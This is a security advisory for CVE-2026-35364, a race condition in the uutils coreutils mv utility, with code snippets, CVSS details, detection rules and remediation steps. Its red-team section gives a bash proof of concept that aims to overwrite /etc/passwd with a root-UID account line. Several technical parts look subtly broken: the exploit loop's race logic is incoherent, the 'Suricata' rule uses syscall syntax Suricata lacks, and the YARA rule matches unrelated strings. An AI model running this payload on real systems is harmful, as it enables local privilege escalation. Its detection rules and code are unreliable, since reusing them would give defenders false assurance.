CVE-2026-35364

Executive Summary

CVE-2026-35364 is a Time-of-Check to Time-of-Use (TOCTOU) race condition vulnerability in the mv utility of uutils coreutils. The flaw occurs during cross-device move operations, where the utility removes the destination path before recreating it via a copy operation. A local attacker with write access to the destination directory can exploit this window to replace the destination with a symbolic link. The subsequent privileged move operation will follow the symlink, allowing the attacker to redirect the write and overwrite an arbitrary target file with contents from the source. The vulnerability has a CVSS score of 6.3 (Medium) and is patched in uutils coreutils v0.0.27.

Supply Chain & Package Security

This vulnerability affects the uutils coreutils package, which is a Rust-based reimplementation of GNU coreutils. It is distributed via package managers like cargo (Rust's package manager) and may be included in Linux distributions as a drop-in replacement for GNU coreutils. Organizations using uutils coreutils in their supply chain should verify their version and apply the patch immediately.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H
• Base Score: 6.3 (Medium)
• Attack Vector: Local (AV:L)
• Attack Complexity: High (AC:H) – requires precise timing and write access to the destination directory.
• Privileges Required: Low (PR:L) – attacker needs local user access.
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: High (I:H) – arbitrary file overwrite.
• Availability Impact: High (A:H) – could overwrite critical system files.

Deep Dive & Mechanics

The vulnerability resides in the mv utility's handling of cross-device moves. When moving a file across filesystems, uutils coreutils performs the following sequence:

1. Check: Verify the destination path exists and is writable.
2. Remove: Delete the destination path (if it exists) to prepare for the copy.
3. Copy: Copy the source file to the destination path.
4. Remove Source: Delete the source file.

The TOCTOU race condition occurs between steps 2 and 3. After the destination is removed but before the copy operation begins, a local attacker can create a symbolic link at the destination path pointing to an arbitrary target file (e.g., /etc/passwd). The copy operation then follows the symlink and overwrites the target file with the contents of the source file.

The attack requires:

• Write access to the destination directory.
• Ability to create symbolic links.
• Precise timing to win the race window.

Vulnerable vs. Patched Code

Vulnerable Code (uutils coreutils < 0.0.27):

// Simplified vulnerable logic
fn move_cross_device(src: &Path, dest: &Path) -> Result<()> {
    // Step 1: Check destination
    if dest.exists() {
        // Step 2: Remove destination
        fs::remove_file(dest)?;
    }
    // TOCTOU window: attacker can create symlink here
    // Step 3: Copy source to destination
    fs::copy(src, dest)?;
    // Step 4: Remove source
    fs::remove_file(src)?;
    Ok(())
}

Patched Code (uutils coreutils >= 0.0.27):

// Simplified patched logic
fn move_cross_device(src: &Path, dest: &Path) -> Result<()> {
    // Use a temporary file to avoid TOCTOU
    let tmp = dest.with_extension("tmp");
    // Step 1: Copy source to temporary file
    fs::copy(src, &tmp)?;
    // Step 2: Atomically rename temporary file to destination
    fs::rename(&tmp, dest)?;
    // Step 3: Remove source
    fs::remove_file(src)?;
    Ok(())
}

The patch eliminates the race condition by copying to a temporary file first, then atomically renaming it to the destination path. This prevents the window where an attacker could inject a symlink.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local user access on the target system.
• Write access to the destination directory.
• uutils coreutils version < 0.0.27 installed.

Exploitation Steps:

1. Setup: Create a source file with controlled content and a destination directory.
2. Race: Continuously attempt to replace the destination with a symlink to the target file.
3. Trigger: Execute the vulnerable mv command across devices.

Proof-of-Concept Script:

#!/bin/bash
# Exploit CVE-2026-35364 - TOCTOU in uutils mv

TARGET="/etc/passwd"  # Target file to overwrite
SOURCE="/tmp/evil.txt"  # Source file with attacker-controlled content
DEST_DIR="/tmp/move_test"  # Destination directory (attacker-writable)
DEST="$DEST_DIR/legit_file"

# Create source file
echo "attacker:root:0:0:root:/root:/bin/bash" > "$SOURCE"

# Create destination directory
mkdir -p "$DEST_DIR"

# Race loop
while true; do
    # Remove destination if exists
    rm -f "$DEST"
    # Create symlink to target
    ln -s "$TARGET" "$DEST" &
    # Trigger mv command
    uutils-mv "$SOURCE" "$DEST" 2>/dev/null
    # Check if target was overwritten
    if grep -q "attacker" "$TARGET"; then
        echo "Exploit successful!"
        break
    fi
done

Note: This is a race condition; multiple attempts may be required. The attacker must win the race between the remove and copy operations.

Blue Team

Detection:

• Monitor for rapid creation/deletion of files and symlinks in directories used by mv.
• Alert on mv operations that cross filesystem boundaries (e.g., from /tmp to /etc).
• Use auditd to track symlink and rename syscalls.

Hunting:

• Search for logs showing mv commands with unusual destination paths.
• Look for processes creating symlinks in directories where mv is frequently executed.

Mitigation:

• Apply the patch (upgrade to uutils coreutils >= 0.0.27).
• Restrict write access to sensitive directories.
• Use SELinux or AppArmor to limit symlink following.

Indicators of Compromise (IOCs)

• File System Artifacts:

  • Unexpected symlinks in directories used by mv operations.
  • Temporary files with .tmp extension in destination directories.
  • Modified system files (e.g., /etc/passwd, /etc/shadow).

• Process Artifacts:

  • uutils-mv processes with arguments pointing to sensitive paths.
  • High-frequency symlink and rename syscalls.

• Log Artifacts:

  • Audit logs showing symlink creation followed by rename to a sensitive file.
  • Syslog entries with uutils-mv errors or warnings.

Detection Engineering

YARA Rule

rule CVE_2026_35364_TOCTOU_uutils_mv {
    meta:
        description = "Detects exploitation of TOCTOU race condition in uutils mv"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-35364"
        severity = "medium"
    strings:
        $s1 = "uutils-mv" ascii wide nocase
        $s2 = "cross-device" ascii wide nocase
        $s3 = "symlink" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2026-35364 TOCTOU Race Condition in uutils mv
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of TOCTOU race condition in uutils mv
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-35364
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/uutils-mv'
        CommandLine|contains:
            - '/etc/'
            - '/bin/'
            - '/sbin/'
    condition: selection
falsepositives:
    - Legitimate administrative use
level: medium

Suricata Rule

alert syscall any any -> any any (msg:"CVE-2026-35364 TOCTOU Race Condition in uutils mv"; syscall: symlink; syscall: rename; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade uutils coreutils to version 0.0.27 or later.
2. If upgrade is not possible, restrict write access to directories used by mv.
3. Monitor for suspicious mv operations across filesystem boundaries.

Long-Term Measures:

• Implement file integrity monitoring (FIM) for critical system files.
• Use mandatory access controls (SELinux/AppArmor) to limit symlink following.
• Conduct regular security audits of third-party utilities.

Patch Details:

• Fixed Version: uutils coreutils v0.0.27
• Patch Commit: Link to commit
• Workaround: Use GNU coreutils mv instead of uutils version.

Valters IT

{/* [Security Hash: 6B0244C305DDE5C326D74514] */}